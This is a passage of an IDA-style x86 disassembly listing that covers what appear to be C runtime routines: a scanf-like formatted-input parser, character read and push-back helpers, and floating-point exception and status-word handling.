eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr [edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: ; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE88 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D094 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D094, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D094, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D094, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D094, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE88 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D094, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE88 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D800, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDEC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D800, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call near ptr 2650368h nop mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D400 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3F0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D400 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D400 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3F0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl 